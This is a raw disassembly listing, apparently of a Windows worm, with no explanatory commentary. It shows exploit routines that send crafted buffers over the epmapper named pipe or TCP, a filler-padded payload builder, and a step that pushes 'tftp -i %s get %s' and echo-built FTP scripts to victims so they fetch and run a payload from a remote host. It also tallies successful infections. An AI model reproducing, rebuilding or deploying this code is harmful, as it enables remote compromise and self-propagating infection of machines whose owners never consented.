pop esi
leave
retn
sub_402AAB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402B61 proc near ; CODE XREF: sub_402DB1+A6p
; sub_402DB1+1E7p
var_3004 = byte ptr -3004h
var_2004 = byte ptr -2004h
var_1FE0 = byte ptr -1FE0h
var_1FD4 = byte ptr -1FD4h
var_1F2D = byte ptr -1F2Dh
var_1004 = byte ptr -1004h
var_FFC = dword ptr -0FFCh
var_FF4 = dword ptr -0FF4h
var_F84 = dword ptr -0F84h
var_F80 = dword ptr -0F80h
var_F50 = dword ptr -0F50h
var_F4C = dword ptr -0F4Ch
var_F34 = dword ptr -0F34h
var_E78 = dword ptr -0E78h
var_CA4 = dword ptr -0CA4h
var_C9C = dword ptr -0C9Ch
var_C94 = byte ptr -0C94h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_BC = dword ptr 0C4h
arg_C0 = dword ptr 0C8h
arg_C4 = dword ptr 0CCh
push ebp
mov ebp, esp
mov eax, 3004h
call sub_417830
push esi
push edi
push offset byte_42E9B8
mov esi, 0A7h
push [ebp+arg_0]
mov [ebp+var_4], esi
call sub_40AD08
pop ecx
push eax
lea eax, [ebp+var_3004]
push 1000h
push eax
call sub_4168F1
mov edi, eax
add esp, 10h
test edi, edi
jz loc_402DAD
push ebx
mov ebx, offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX"
push 30h
lea eax, [ebp+var_2004]
push ebx
push eax
call sub_417090
push esi
lea eax, [ebp+var_1FD4]
push 0FFFFFF90h
push eax
call sub_417030
lea eax, [ebp+var_3004]
push edi
push eax
lea eax, [ebp+var_1F2D]
push eax
call sub_417090
lea esi, [edi+0D7h]
jmp short loc_402C23
; ---------------------------------------------------------------------------
loc_402BE5: ; CODE XREF: sub_402B61+D0j
mov esi, [ebp+var_4]
push 30h
lea eax, [ebp+var_2004]
inc esi
push ebx
push eax
mov [ebp+var_4], esi
call sub_417090
push esi
lea eax, [ebp+var_1FD4]
push 0FFFFFF90h
push eax
call sub_417030
lea eax, [ebp+var_3004]
push edi
push eax
lea eax, [ebp+esi+var_1FD4]
push eax
call sub_417090
lea esi, [esi+edi+30h]
loc_402C23: ; CODE XREF: sub_402B61+82j
add esp, 24h
mov eax, esi
cdq
push 10h
pop ecx
idiv ecx
cmp edx, 0Ch
jnz short loc_402BE5
cmp [ebp+arg_C4], 0
jz short loc_402C4E
cmp [ebp+arg_C0], 3
jz short loc_402C57
cmp [ebp+arg_C0], 0
jmp short loc_402C55
; ---------------------------------------------------------------------------
loc_402C4E: ; CODE XREF: sub_402B61+D9j
cmp [ebp+arg_C0], 3
loc_402C55: ; CODE XREF: sub_402B61+EBj
jnz short loc_402C60
loc_402C57: ; CODE XREF: sub_402B61+E2j
push 4
push offset dword_426B8C
jmp short loc_402C67
; ---------------------------------------------------------------------------
loc_402C60: ; CODE XREF: sub_402B61:loc_402C55j
push 4
push offset dword_426B88
loc_402C67: ; CODE XREF: sub_402B61+FDj
lea eax, [ebp+var_1FE0]
push eax
call sub_417090
add esp, 0Ch
lea eax, [ebp+var_1004]
push 360h
push offset dword_4266C0
push eax
call sub_417090
push 10h
lea eax, [ebp+var_CA4]
push offset dword_426A24
push eax
call sub_417090
lea eax, [ebp+var_2004]
push esi
push eax
lea eax, [ebp+var_C94]
push eax
call sub_417090
lea edi, [esi+370h]
push 3Ch
push offset off_426A38
lea eax, [ebp+edi+var_1004]
push eax
call sub_417090
add edi, 3Ch
push 30h
push offset dword_426A78
lea eax, [ebp+edi+var_1004]
push eax
call sub_417090
mov eax, esi
add edi, 30h
cdq
sub eax, edx
sar eax, 1
add [ebp+var_CA4], eax
add [ebp+var_C9C], eax
mov eax, [ebp+var_FFC]
lea eax, [eax+esi-0Ch]
mov [ebp+var_FFC], eax
mov eax, [ebp+var_FF4]
lea eax, [eax+esi-0Ch]
mov [ebp+var_FF4], eax
mov eax, [ebp+var_F84]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F84], eax
mov eax, [ebp+var_F80]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F80], eax
mov eax, [ebp+var_F50]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F50], eax
mov eax, [ebp+var_F4C]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F4C], eax
mov eax, [ebp+var_F34]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F34], eax
mov eax, [ebp+var_E78]
lea eax, [eax+esi-0Ch]
lea esi, [edi+1]
push esi
mov [ebp+var_E78], eax
call sub_417889
add esp, 40h
mov ebx, eax
push esi
push 0
push ebx
call sub_417030
lea eax, [ebp+var_1004]
push edi
push eax
push ebx
call sub_417090
mov eax, [ebp+arg_BC]
add esp, 18h
mov [eax], edi
mov eax, ebx
pop ebx
loc_402DAD: ; CODE XREF: sub_402B61+3Ej
pop edi
pop esi
leave
retn
sub_402B61 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402DB1 proc near ; CODE XREF: sub_4075B8+1D7p
; DATA XREF: .data:off_429D64o
var_1338 = byte ptr -1338h
var_338 = byte ptr -338h
var_138 = byte ptr -138h
var_34 = byte ptr -34h
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = byte ptr 8
arg_4 = byte ptr 0Ch
arg_A0 = dword ptr 0A8h
arg_A8 = dword ptr 0B0h
push ebp
mov ebp, esp
mov eax, 1338h
call sub_417830
cmp [ebp+arg_A0], 1BDh
push ebx
push esi
push edi
jnz loc_402F1F
lea eax, [ebp+var_34]
push eax
lea eax, [ebp+arg_4]
push eax
call sub_4029C8
pop ecx
test eax, eax
pop ecx
jz loc_40302F
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_138]
push offset aSPipeEpmapper ; "\\\\%s\\pipe\\epmapper"
push eax
call sub_416FB6
add esp, 0Ch
xor ebx, ebx
lea eax, [ebp+var_138]
push ebx
push 80h
push 3
push ebx
push 1
push 0C0000000h
push eax
call dword_423084 ; CreateFileA
mov [ebp+var_4], eax
cmp eax, 0FFFFFFFFh
lea eax, [ebp+arg_4]
jnz short loc_402E36
loc_402E2A: ; CODE XREF: sub_402DB1+126j
push eax
call sub_402AAB
pop ecx
jmp loc_40302F
; ---------------------------------------------------------------------------
loc_402E36: ; CODE XREF: sub_402DB1+77j
push 2
push eax
call sub_40D2C2
pop ecx
lea esi, [ebp+arg_0]
pop ecx
push 1
push eax
lea eax, [ebp+var_10]
push eax
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_402B61
add esp, 0C8h
cmp eax, ebx
mov [ebp+var_8], eax
jz short loc_402ECB
mov edi, 186A0h
push edi
call sub_417889
mov esi, eax
push edi
push ebx
push esi
call sub_417030
add esp, 10h
lea eax, [ebp+var_C]
mov edi, 2710h
push ebx
push eax
push edi
push esi
push 48h
push offset dword_426670
push [ebp+var_4]
call dword_423080 ; TransactNamedPipe
cmp byte ptr [esi+2], 0Ch
jnz short loc_402EBB
lea eax, [ebp+var_14]
push ebx
push eax
push [ebp+var_10]
push [ebp+var_8]
push [ebp+var_4]
call dword_42307C ; WriteFile
test eax, eax
jnz short loc_402EDC
loc_402EBB: ; CODE XREF: sub_402DB1+F0j
push esi
call sub_41793B
push [ebp+var_8]
call sub_41793B
pop ecx
pop ecx
loc_402ECB: ; CODE XREF: sub_402DB1+B6j
push [ebp+var_4]
call dword_423078 ; CloseHandle
lea eax, [ebp+arg_4]
jmp loc_402E2A
; ---------------------------------------------------------------------------
loc_402EDC: ; CODE XREF: sub_402DB1+108j
lea eax, [ebp+var_C]
push ebx
push eax
push edi
push esi
push [ebp+var_4]
call dword_423074 ; ReadFile
push [ebp+var_8]
mov edi, eax
call sub_41793B
push esi
call sub_41793B
pop ecx
pop ecx
push [ebp+var_4]
call dword_423078 ; CloseHandle
lea eax, [ebp+arg_4]
push eax
call sub_402AAB
cmp edi, 1
pop ecx
jnz loc_403040
jmp loc_40302F
; ---------------------------------------------------------------------------
loc_402F1F: ; CODE XREF: sub_402DB1+1Aj
lea eax, [ebp+arg_4]
push 1
push eax
call sub_40D2C2
mov esi, eax
pop ecx
cmp esi, 1
pop ecx
jz loc_40302F
xor ebx, ebx
push ebx
push 1
push 2
call dword_43EBA4 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jz loc_40302F
push 10h
lea eax, [ebp+var_24]
push ebx
push eax
call sub_417030
add esp, 0Ch
mov [ebp+var_24], 2
push [ebp+arg_A0]
call dword_43EB24 ; htons
mov [ebp+var_22], ax
lea eax, [ebp+arg_4]
push eax
call dword_43EB64 ; inet_addr
mov [ebp+var_20], eax
push ebx
lea eax, [ebp+var_C]
push esi
push eax
lea esi, [ebp+arg_0]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_402B61
mov esi, eax
add esp, 0C8h
cmp esi, ebx
mov [ebp+var_8], esi
jnz short loc_402FB1
push [ebp+var_4]
jmp short loc_403029
; ---------------------------------------------------------------------------
loc_402FB1: ; CODE XREF: sub_402DB1+1F9j
mov edi, [ebp+var_4]
lea eax, [ebp+var_24]
push 10h
push eax
push edi
call dword_43EACC ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_402FC9
loc_402FC6: ; CODE XREF: sub_402DB1+22Aj
push esi
jmp short loc_403022
; ---------------------------------------------------------------------------
loc_402FC9: ; CODE XREF: sub_402DB1+213j
push ebx
push 48h
push offset dword_426670
push edi
call dword_43EB74 ; send
cmp eax, 0FFFFFFFFh
jz short loc_402FC6
mov esi, 1000h
push ebx
lea eax, [ebp+var_1338]
push esi
push eax
push edi
call dword_43EB3C ; recv
push ebx
push [ebp+var_C]
push [ebp+var_8]
push edi
call dword_43EB74 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_40300A
push [ebp+var_8]
jmp short loc_403022
; ---------------------------------------------------------------------------
loc_40300A: ; CODE XREF: sub_402DB1+252j
push ebx
lea eax, [ebp+var_1338]
push esi
push eax
push edi
call dword_43EB3C ; recv
push [ebp+var_8]
cmp eax, 0FFFFFFFFh
jnz short loc_403033
loc_403022: ; CODE XREF: sub_402DB1+216j
; sub_402DB1+257j
call sub_41793B
pop ecx
push edi
loc_403029: ; CODE XREF: sub_402DB1+1FEj
call dword_43EBBC ; closesocket
loc_40302F: ; CODE XREF: sub_402DB1+31j
; sub_402DB1+80j ...
xor eax, eax
jmp short loc_40309D
; ---------------------------------------------------------------------------
loc_403033: ; CODE XREF: sub_402DB1+26Fj
call sub_41793B
pop ecx
push edi
call dword_43EBBC ; closesocket
loc_403040: ; CODE XREF: sub_402DB1+163j
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_338]
push offset unk_426BA4
push eax
call sub_416FB6
add esp, 0Ch
loc_403058: ; CODE XREF: sub_402DB1+2C7j
lea eax, [ebp+var_338]
push eax
call sub_40BE6E
test eax, eax
pop ecx
jnz short loc_40307C
push 1388h
call dword_423064 ; Sleep
inc ebx
cmp ebx, 6
jl short loc_403058
jmp short loc_40309A
; ---------------------------------------------------------------------------
loc_40307C: ; CODE XREF: sub_402DB1+2B6j
lea eax, [ebp+var_338]
push eax
call sub_40BD8D
mov eax, [ebp+arg_A8]
pop ecx
imul eax, 3Ch
lea eax, dword_429D68[eax]
inc dword ptr [eax]
loc_40309A: ; CODE XREF: sub_402DB1+2C9j
xor eax, eax
inc eax
loc_40309D: ; CODE XREF: sub_402DB1+280j
pop edi
pop esi
pop ebx
leave
retn
sub_402DB1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4030A2 proc near ; DATA XREF: .data:00425004o
jmp $+5
sub_4030A2 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4030A7 proc near
push 0BB80h
push 76Ch
call sub_4151D8
pop ecx
mov dword_43BCEC, eax
pop ecx
retn
sub_4030A7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4030BE proc near ; CODE XREF: sub_40321F+42Cp
var_5A0 = byte ptr -5A0h
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 5A0h
push ebx
push esi
push edi
xor esi, esi
push 10h
lea eax, [ebp+var_10]
push esi
push eax
call sub_417030
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+var_10], 2
push eax
call dword_43EB64 ; inet_addr
mov [ebp+var_C], eax
mov ax, word ptr dword_43BCEC
push eax
call dword_43EB24 ; htons
push esi
push 1
push 2
mov [ebp+var_E], ax
call dword_43EBA4 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_4031F8
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call dword_43EACC ; connect
cmp eax, 0FFFFFFFFh
jz loc_4031F8
push esi
lea eax, [ebp+var_5A0]
push 400h
push eax
push ebx
call dword_43EB3C ; recv
mov esi, offset byte_42E9B8
push esi
push esi
push [ebp+arg_0]
call sub_40AD08
pop ecx
mov edi, 190h
push eax
push offset aTftpISGetS ; "tftp -i %s get %s\r\n"
lea eax, [ebp+var_1A0]
push edi
push eax
call sub_41752A
add esp, 18h
push esi
push esi
push dword_43BD0C
push [ebp+arg_0]
call sub_40AD08
pop ecx
push eax
push offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user 1 1 >> o "...
lea eax, [ebp+var_1A0]
push edi
push eax
call sub_41752A
add esp, 1Ch
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_4177B0
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push ebx
call dword_43EB74 ; send
cmp eax, 0FFFFFFFFh
jz short loc_4031F8
push 1F4h
call dword_423064 ; Sleep
push esi
push offset dword_4275E0
lea eax, [ebp+var_1A0]
push edi
push eax
call sub_41752A
add esp, 10h
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_4177B0
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push ebx
call dword_43EB74 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_4031FC
loc_4031F8: ; CODE XREF: sub_4030BE+51j
; sub_4030BE+67j ...
xor al, al
jmp short loc_40321A
; ---------------------------------------------------------------------------
loc_4031FC: ; CODE XREF: sub_4030BE+138j
push 0
lea eax, [ebp+var_5A0]
push 400h
push eax
push ebx
call dword_43EB3C ; recv
push ebx
call dword_43EBBC ; closesocket
mov al, 1
loc_40321A: ; CODE XREF: sub_4030BE+13Cj
pop edi
pop esi
pop ebx
leave
retn
sub_4030BE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40321F proc near ; CODE XREF: .data:00403782p
; .data:004037A4p
var_89B4 = byte ptr -89B4h
var_894C = byte ptr -894Ch
var_68DC = byte ptr -68DCh
var_686C = byte ptr -686Ch
var_5DA8 = byte ptr -5DA8h
var_4804 = byte ptr -4804h
var_4803 = byte ptr -4803h
var_3770 = byte ptr -3770h
var_2CAC = byte ptr -2CACh
var_2CAB = byte ptr -2CABh
var_2CA8 = byte ptr -2CA8h
var_2C2C = byte ptr -2C2Ch
var_245C = byte ptr -245Ch
var_1FB1 = byte ptr -1FB1h
var_1CC4 = byte ptr -1CC4h
var_14E0 = byte ptr -14E0h
var_14D0 = byte ptr -14D0h
var_11AC = byte ptr -11ACh
var_11A8 = byte ptr -11A8h
var_119C = byte ptr -119Ch
var_F14 = byte ptr -0F14h
var_E74 = byte ptr -0E74h
var_768 = dword ptr -768h
var_758 = byte ptr -758h
var_744 = byte ptr -744h
var_104 = byte ptr -104h
var_103 = byte ptr -103h
var_B4 = byte ptr -0B4h
var_B1 = byte ptr -0B1h
var_87 = byte ptr -87h
var_85 = byte ptr -85h
var_84 = byte ptr -84h
var_3C = byte ptr -3Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_6 = dword ptr -6
var_2 = byte ptr -2
var_1 = byte ptr -1
arg_0 = byte ptr 8
arg_4 = byte ptr 0Ch
arg_BC = dword ptr 0C4h
arg_C0 = dword ptr 0C8h
push ebp
mov ebp, esp
mov eax, 89B4h
call sub_417830
mov eax, dword_42767C
push ebx
mov [ebp+var_10], eax
mov eax, dword_427680
mov [ebp+var_C], eax
push esi
lea eax, [ebp+arg_4]
push edi
push eax
lea eax, [ebp+var_3C]
push offset loc_427670
push eax
call sub_416FB6
add esp, 0Ch
xor ebx, ebx
xor eax, eax
loc_403258: ; CODE XREF: sub_40321F+4Fj
mov cl, [ebp+eax+var_3C]
mov [ebp+eax*2+var_103], bl
mov [ebp+eax*2+var_104], cl
inc eax
cmp eax, 28h
jl short loc_403258
push 60h
lea eax, [ebp+var_B4]
push offset dword_4270E8
push eax
call sub_417090
lea eax, [ebp+var_3C]
push eax
call sub_4177B0
add eax, eax
push eax
lea eax, [ebp+var_104]
push eax
lea eax, [ebp+var_84]
push eax
call sub_417090
add esp, 1Ch
lea eax, [ebp+var_3C]
push 9
push (offset aC_0+3)
push eax
call sub_4177B0
pop ecx
lea eax, [ebp+eax*2+var_85]
push eax
call sub_417090
lea eax, [ebp+var_3C]
push eax
call sub_4177B0
add al, 1Ah
push 1
add al, al
mov [ebp+var_1], al
lea eax, [ebp+var_1]
push eax
lea eax, [ebp+var_B1]
push eax
call sub_417090
lea eax, [ebp+var_3C]
push eax
call sub_4177B0
add al, al
push 1
add al, 9
mov [ebp+var_2], al
lea eax, [ebp+var_2]
push eax
lea eax, [ebp+var_87]
push eax
call sub_417090
mov ax, word ptr dword_43BCEC
add esp, 2Ch
push eax
call dword_43EB24 ; htons
xor eax, 9999h
push 2
mov [ebp+var_6], eax
lea eax, [ebp+var_6]
push eax
push offset dword_426DE0
call sub_417090
add esp, 0Ch
cmp [ebp+arg_C0], ebx
jz loc_40341D
mov edi, 0DACh
lea eax, [ebp+var_1CC4]
push edi
push 90h
push eax
call sub_417030
mov eax, [ebp+arg_C0]
push 4
imul eax, 3Ch
lea eax, dword_427528[eax]
mov [ebp+var_14], eax
push eax
lea eax, [ebp+var_14E0]
push eax
call sub_417090
mov esi, offset loc_426D30
push esi
call sub_4177B0
push eax
lea eax, [ebp+var_14D0]
push esi
push eax
call sub_417090
push 4
lea eax, [ebp+var_11AC]
push offset loc_427668
push eax
call sub_417090
push 4
lea eax, [ebp+var_11A8]
push [ebp+var_14]
push eax
call sub_417090
add esp, 40h
push esi
call sub_4177B0
push eax
lea eax, [ebp+var_119C]
push esi
push eax
call sub_417090
add esp, 10h
xor eax, eax
loc_4033CF: ; CODE XREF: sub_40321F+1C8j
mov cl, [ebp+eax+var_1CC4]
mov [ebp+eax*2+var_4803], bl
mov [ebp+eax*2+var_4804], cl
inc eax
cmp eax, edi
jl short loc_4033CF
mov esi, 1C52h
lea eax, [ebp+var_89B4]
push esi
push 31h
push eax
mov [ebp+var_2CAC], bl
mov [ebp+var_2CAB], bl
call sub_417030
push esi
lea eax, [ebp+var_68DC]
push 31h
push eax
call sub_417030
add esp, 18h
jmp short loc_403474
; ---------------------------------------------------------------------------
loc_40341D: ; CODE XREF: sub_40321F+119j
push 7D0h
lea eax, [ebp+var_F14]
push 90h
push eax
call sub_417030
mov esi, offset loc_426D30
push esi
call sub_4177B0
push eax
lea eax, [ebp+var_E74]
push esi
push eax
call sub_417090
lea eax, [ebp+var_10]
push eax
call sub_4177B0
push eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_758]
push eax
call sub_417090
mov eax, dword_427528
add esp, 2Ch
mov [ebp+var_768], eax
loc_403474: ; CODE XREF: sub_40321F+1FCj
push 0E29h
lea eax, [ebp+var_2CA8]
push 31h
push eax
call sub_417030
movsx eax, [ebp+var_1]
mov edi, [ebp+arg_BC]
add esp, 0Ch
add eax, 4
push ebx
push eax
lea eax, [ebp+var_B4]
push eax
push edi
call dword_43EB74 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_4034B3
loc_4034AC: ; CODE XREF: sub_40321F+2BBj
; sub_40321F+2E2j ...
xor al, al
jmp loc_40365B
; ---------------------------------------------------------------------------
loc_4034B3: ; CODE XREF: sub_40321F+28Bj
mov esi, 640h
push ebx
lea eax, [ebp+var_744]
push esi
push eax
push edi
call dword_43EB3C ; recv
push ebx
push 68h
push offset dword_427150
push edi
call dword_43EB74 ; send
cmp eax, 0FFFFFFFFh
jz short loc_4034AC
push ebx
lea eax, [ebp+var_744]
push esi
push eax
push edi
call dword_43EB3C ; recv
push ebx
push 0A0h
push offset dword_4271C0
push edi
call dword_43EB74 ; send
cmp eax, 0FFFFFFFFh
jz short loc_4034AC
push ebx
lea eax, [ebp+var_744]
push esi
push eax
push edi
call dword_43EB3C ; recv
cmp [ebp+arg_C0], ebx
jz loc_4035C9
push 68h
lea eax, [ebp+var_89B4]
push offset dword_427380
push eax
call sub_417090
lea eax, [ebp+var_4804]
push 1B5Ah
push eax
lea eax, [ebp+var_894C]
push eax
call sub_417090
push 70h
lea eax, [ebp+var_68DC]
push offset dword_4273F0
push eax
call sub_417090
lea eax, [ebp+var_3770]
push 0A5Eh
push eax
lea eax, [ebp+var_686C]
push eax
call sub_417090
push 84h
lea eax, [ebp+var_5DA8]
push offset dword_427468
push eax
call sub_417090
add esp, 3Ch
lea eax, [ebp+var_89B4]
push ebx
push 10FCh
push eax
push edi
call dword_43EB74 ; send
cmp eax, 0FFFFFFFFh
jz loc_4034AC
push ebx
lea eax, [ebp+var_744]
push esi
push eax
push edi
call dword_43EB3C ; recv
push ebx
push 0FDCh
lea eax, [ebp+var_68DC]
jmp short loc_40361F
; ---------------------------------------------------------------------------
loc_4035C9: ; CODE XREF: sub_40321F+2FAj
push 7Ch
lea eax, [ebp+var_2CA8]
push offset dword_427268
push eax
call sub_417090
lea eax, [ebp+var_F14]
push 7D0h
push eax
lea eax, [ebp+var_2C2C]
push eax
call sub_417090
push 90h
lea eax, [ebp+var_245C]
push offset off_4272E8
push eax
call sub_417090
add esp, 24h
mov [ebp+var_1FB1], bl
lea eax, [ebp+var_2CA8]
push ebx
push 0CF8h
loc_40361F: ; CODE XREF: sub_40321F+3A8j
push eax
push edi
call dword_43EB74 ; send
cmp eax, 0FFFFFFFFh
jz loc_4034AC
push 12Ch
call dword_423064 ; Sleep
sub esp, 0BCh
lea esi, [ebp+arg_0]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_4030BE
add esp, 0BCh
test al, al
setnz al
loc_40365B: ; CODE XREF: sub_40321F+28Fj
pop edi
pop esi
pop ebx
leave
retn
sub_40321F endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 854h
push ebx
push esi
push edi
push 0BB80h
push 76Ch
call sub_4151D8
xor edi, edi
push 10h
lea eax, [ebp-14h]
push edi
push eax
mov [ebp-4], edi
call sub_417030
add esp, 14h
lea eax, [ebp+0Ch]
mov word ptr [ebp-14h], 2
push eax
call dword_43EB64 ; inet_addr
push dword ptr [ebp+0A8h]
mov [ebp-10h], eax
call dword_43EB24 ; htons
push 6
push 1
push 2
mov [ebp-12h], ax
call dword_43EBA4 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_403768
lea eax, [ebp-14h]
push 10h
push eax
push ebx
call dword_43EACC ; connect
cmp eax, 0FFFFFFFFh
jz loc_403768
push edi
push 89h
push offset dword_426EC8
push ebx
call dword_43EB74 ; send
cmp eax, 0FFFFFFFFh
jz short loc_403768
mov esi, 640h
push edi
lea eax, [ebp-654h]
push esi
push eax
push ebx
call dword_43EB3C ; recv
push edi
push 0A8h
push offset dword_426F58
push ebx
call dword_43EB74 ; send
cmp eax, 0FFFFFFFFh
jz short loc_403768
push edi
lea eax, [ebp-654h]
push esi
push eax
push ebx
call dword_43EB3C ; recv
push edi
push 0DEh
push offset dword_427008
push ebx
call dword_43EB74 ; send
cmp eax, 0FFFFFFFFh
jz short loc_403768
push edi
lea eax, [ebp-654h]
push esi
push eax
push ebx
call dword_43EB3C ; recv
movsx eax, byte ptr [ebp-610h]
sub eax, 30h
jz short loc_40376F
dec eax
jz short loc_40376C
loc_403768: ; CODE XREF: .data:004036C3j
; .data:004036D9j ...
xor eax, eax
jmp short loc_4037E8
; ---------------------------------------------------------------------------
loc_40376C: ; CODE XREF: .data:00403766j
push edi
jmp short loc_403793
; ---------------------------------------------------------------------------
loc_40376F: ; CODE XREF: .data:00403763j
push 2
push ebx
sub esp, 0BCh
lea esi, [ebp+8]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40321F
add esp, 0C4h
test al, al
jnz short loc_4037B3
push 1
loc_403793: ; CODE XREF: .data:0040376Dj
push ebx
lea esi, [ebp+8]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40321F
add esp, 0C4h
test al, al
jz short loc_4037BA
loc_4037B3: ; CODE XREF: .data:0040378Fj
mov dword ptr [ebp-4], 1
loc_4037BA: ; CODE XREF: .data:004037B1j
push ebx
call dword_43EBBC ; closesocket
cmp dword ptr [ebp-4], 0
jz short loc_4037E5
lea eax, [ebp-854h]
push eax
call sub_40BD8D
mov eax, [ebp+0B0h]
pop ecx
imul eax, 3Ch
lea eax, dword_429D68[eax]
inc dword ptr [eax]
loc_4037E5: ; CODE XREF: .data:004037C5j
xor eax, eax
inc eax
loc_4037E8: ; CODE XREF: .data:0040376Aj
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
sub_4037ED proc near ; CODE XREF: sub_403A59+Ep
; sub_403A59+33p ...
mov eax, ecx
and dword ptr [eax+4], 0
and dword ptr [eax], 0
retn
sub_4037ED endp
; =============== S U B R O U T I N E =======================================
sub_4037F7 proc near ; CODE XREF: sub_403A59+11Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_4]
push esi
push edi
push ebx
mov esi, ecx
call sub_417889
mov edi, eax
pop ecx
test edi, edi
jz short loc_403829
push ebx
push 0
push edi
call sub_417030
push ebx
push [esp+1Ch+arg_0]
push edi
call sub_417090
add esp, 18h
mov [esi+4], ebx
mov [esi], edi
loc_403829: ; CODE XREF: sub_4037F7+14j
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_4037F7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403831 proc near ; CODE XREF: sub_403923+18p
; sub_40399D+16p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push ebx
mov ebx, ecx
mov ecx, [ebp+arg_C]
push esi
push edi
lea edi, [eax+ecx]
push edi
call sub_417889
mov esi, eax
pop ecx
test esi, esi
jz short loc_40387D
push edi
push 0
push esi
call sub_417030
push [ebp+arg_4]
push [ebp+arg_0]
push esi
call sub_417090
push [ebp+arg_C]
mov eax, [ebp+arg_4]
add eax, esi
push [ebp+arg_8]
push eax
call sub_417090
add esp, 24h
mov [ebx+4], edi
mov [ebx], esi
loc_40387D: ; CODE XREF: sub_403831+1Cj
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn 10h
sub_403831 endp
; =============== S U B R O U T I N E =======================================
sub_403886 proc near ; CODE XREF: sub_403923+5Ep
; sub_403923+6Fp ...
push esi
mov esi, ecx
mov eax, [esi]
test eax, eax
jz short loc_403896
push eax
call sub_41793B
pop ecx
loc_403896: ; CODE XREF: sub_403886+7j
and dword ptr [esi+4], 0
and dword ptr [esi], 0
pop esi
retn
sub_403886 endp
; =============== S U B R O U T I N E =======================================
sub_40389F proc near ; CODE XREF: sub_403923+20p
; sub_4039FE+8p ...
push ebx
push esi
mov esi, ecx
push edi
mov eax, [esi+4]
cmp eax, 0FFFFh
jge short loc_4038C9
xor ebx, ebx
cmp eax, 7Fh
setnl bl
lea ebx, [ebx+ebx+1]
add eax, ebx
push eax
call sub_417889
mov edi, eax
pop ecx
test edi, edi
jnz short loc_4038CD
loc_4038C9: ; CODE XREF: sub_40389F+Dj
xor al, al
jmp short loc_40391F
; ---------------------------------------------------------------------------
loc_4038CD: ; CODE XREF: sub_40389F+28j
mov eax, [esi+4]
add eax, ebx
push eax
push 0
push edi
call sub_417030
add esp, 0Ch
cmp ebx, 1
jnz short loc_4038ED
mov al, [esi+4]
mov [edi], al
lea eax, [edi+1]
jmp short loc_403902
; ---------------------------------------------------------------------------
loc_4038ED: ; CODE XREF: sub_40389F+42j
mov byte ptr [edi], 82h
mov eax, [esi+4]
sar eax, 8
mov [edi+1], al
mov al, [esi+4]
mov [edi+2], al
lea eax, [edi+3]
loc_403902: ; CODE XREF: sub_40389F+4Cj
push dword ptr [esi+4]
push dword ptr [esi]
push eax
call sub_417090
add esp, 0Ch
push dword ptr [esi]
call sub_41793B
add [esi+4], ebx
pop ecx
mov [esi], edi
mov al, 1
loc_40391F: ; CODE XREF: sub_40389F+2Cj
pop edi
pop esi
pop ebx
retn
sub_40389F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403923 proc near ; CODE XREF: sub_403A59+89p
; sub_403A59+E3p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push edi
lea ecx, [ebp+var_8]
push dword ptr [esi+4]
push dword ptr [esi]
push 1
push offset dword_43BCF8
call sub_403831
lea ecx, [ebp+var_8]
call sub_40389F
mov eax, [ebp+var_4]
inc eax
push eax
call sub_417889
mov edi, eax
pop ecx
test edi, edi
jnz short loc_40395D
xor al, al
jmp short loc_403999
; ---------------------------------------------------------------------------
